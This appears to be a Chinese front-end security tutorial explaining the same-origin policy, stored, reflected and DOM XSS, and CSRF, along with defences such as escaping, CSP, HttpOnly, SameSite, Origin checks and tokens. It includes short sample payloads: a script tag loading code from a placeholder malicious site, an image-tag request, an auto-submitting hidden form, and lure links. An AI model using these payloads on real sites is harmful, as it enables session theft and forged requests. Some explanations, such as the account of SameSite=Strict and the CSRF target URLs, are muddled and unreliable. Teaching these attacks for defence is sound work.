随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,特别是前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、SameSite、HttpOnly、Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要我们不断进行“查漏补缺”
浏览器安全可以分为三大块:Web页面安全、浏览器网络安全、浏览器系统安全
Web页面安全主要就是同源策略限制
什么是同源策略
同源指的是我们访问站点的:协议
、域名
、端口号
必须一至,才叫同源
。
浏览器默认同源之间的站点是可以相互访问资源和操作DOM的,而不同源之间想要互相访问资源或者操作DOM,那就需要加一些安全策略的限制,俗称同源策略
同源策略主要限制了三个方面:
- DOM层面:不同源站点之间不能相互访问和操作DOM
- 数据层面:不能获取不同源站点的Cookie、LocalStorage、indexDB等数据
- 网络层面:不能通过XMLHttpRequest向不同源站点发送请求
当然同源策略限制也不是绝对隔离不同源的站点,比如link、img、script标签都没有跨域限制,这让我们开发更灵活了,但是也同样带来了一些安全问题,也就是浏览器网络安全问题,最典型的就是XSS攻击和CSRF攻击
说一下XSS攻击
XSS攻击是一种代码注入攻击
,通过恶意注入脚本在浏览器运行,然后盗取用户信息
造成XSS攻击其实本质上还是因为网站没有过滤恶意代码,与正常代码混在一起之后,浏览器没有办法分辨哪些是可信的,然后导致恶意代码也被执行。然后可能导致以下情况:
- 页面数据或用户信息被窃取,如DOM、Cookie、LocalStorage
- 修改DOM,比如伪造登录窗口或在页面生成浮窗广告
- 监听用户行为,比如在登录或银行等站点用 addEventListener 监听键盘事件,窃取账号密码等信息
- 流量被劫持向其他网站
XSS攻击有三种类型:存储型、反射型、DOM型
存储型
:是在有发贴评论等带有数据保存功能的网站的input、textarea将恶意代码提交到网站数据库中,如<script src="http://恶意网站"></script>
,然后比如在显示评论的页面就会从数据获取,并直接执行这个script标签里的恶意代码反射型
:是攻击者将恶意JS脚本作为用户发送给网站请求中的一部分,然后网站又把恶意脚本返回给用户,这时候就会在页面中被执行。比如打开包含带恶意脚本的链接,当打开后会向服务器请求后,服务器会获取URL中的数据然后拼接在HTML上返回,然后执行。它和存储型不同的是不会储存在服务器里基于DOM型
:就是攻击者通过一些劫持手段,在页面资源传输过程中劫持并修改页面的数据,插入恶意代码
怎么防范XSS攻击,有什么解决办法?
就是对输入框的内容进行
过滤
或使用转义符进行转码
字符 转义后的字符 < <
> >
“ "
‘ '
/ /
& &
使用CSP,就是
白名单
,告诉浏览器哪些外部资源可以加载执行,让即使插入进来恶意代码的也不会执行,或者可以向哪些第三方站点提交数据。开启白名单的方式有两种:- 使用 meta 标签
<meta http-equiv="Content-Security-Policy">
- 设置http头部的
Content-Security-Policy
- 使用 meta 标签
对一些敏感信息进行保护,在
Cookie
信息中添加httpOnly
,告诉浏览器在保存Cookie,且不要对客户端脚本开放访问权限,然后就不能通过document.cookie获取cookie了1
Set-Cookie: widget_session=123456; httpOnly
使用
验证码
,避免脚本伪装成用户执行一些操作
说一下CSRF攻击
就是跨站请求伪造攻击
,主要就是利用用户的登录状态发起跨站请求,比如邮箱里的乱七八糟的链接,打开链接的时候邮箱肯定是处于登录状态,然后黑客就可以用这个登录状态,伪造带有正确 Cookie 的 http 请求,直接绕过后台的登录验证,然后冒充用户执行一些操作
发起CSRF攻击有三个必要条件:
- 目标网站一定要有CSRF漏洞
- 用户登录过目标网站,并且浏览器保存了登录状态
- 需要用户主动打开第三方站点
本质是利用cookie在同源请求中携带发送给服务器的特点,来实现冒充用户
CSRF攻击也有三种类型:GET类型、POST类型、链接型
自动发GET类型
:比如img
或iframe
标签等,当用户打开这个网站时会自动发起带Cookie的资源请求1
<img src="http://恶意网址" >
自动发POST类型
:比如整一个隐藏的表单
,在用户进入页面的时候自动提交表单1
2
3
4<form id="hack" action="https://恶意网址" method="post">
...
</form>
<script>document.getElementById('hack').submit()</script>诱导链接型
:就是诱导用户主动点击链接,比如a标签
1
2<a href="https://恶意网址">点击领取大礼包</a>
<a href="https://恶意网址">点击下载美女视频</a>
怎么防范CSRF攻击,有什么解决办法?
在Cookie信息中添加
SameSite
属性,这个属性有三个值:- strict:严格模式,完全禁止使用Cookie
- lax:宽松模式,允许部分情况使用Cookie,
跨域的都行
,a标签跳转,link标签,GET提交表单 - none:任何情况下都会发送Cookie,但必须同时设置Secure属性,意思是需要安全上下文,Cookie 只能通过https发送,否则无效
Chrome 80之前默认值是none,之后是lax
1
Set-Cookie: widget_session=123456; SameSite=None; Secure
验证请求来源
:服务器根据http请求头中的Origin
或Referer
属性判断是否为允许访问的站点,从而对请求进行过滤。优先判断Origin,如果两个都不存在的话就直接阻止。- Referer:记录了请求是从哪个链接跳过来的并且包含了路径信息,也就是来源地址。不过这家伙不太可靠,所以后来又新增了Origin属性
1
Referer: https://juejin.cn/editor/drafts/xxxx
- origin:记录了域名信息,没有具体的URL路径
1
Origin: https://juejin.cn
- Referer:记录了请求是从哪个链接跳过来的并且包含了路径信息,也就是来源地址。不过这家伙不太可靠,所以后来又新增了Origin属性
Token验证
:服务器向用户返回一个随机数Token,再次请求时在请求头中以参数的形式添加入这个Token,然后服务器验证这个Token,如果没有或者内容不正确,就拒绝请求。缺点是- 每个请求都得添加比较繁琐
- 单方面验证Cookie可能会被冒用,
- 如果网站不止一台服务器,通过负载均衡转到了其他服务器的话,其他所有服务器中的Session中都得保留Token,不然就验证不了了
双重验证Cookie
:利用攻击者只能利用Cookie,不能获取Cookie的特点,用户访问页面时,服务器向请求域名添加一个Cookie随机字符串,然后,用户再次请求时从Cookie中取出这个字符串,添加到URL参数中,然后服务器通过对Cookie中的数据和参数中的数据对比验证,不一样就拒绝请求。缺点是如果网站存在XSS漏洞,这法子就会失效,而且不能做到子域名的隔离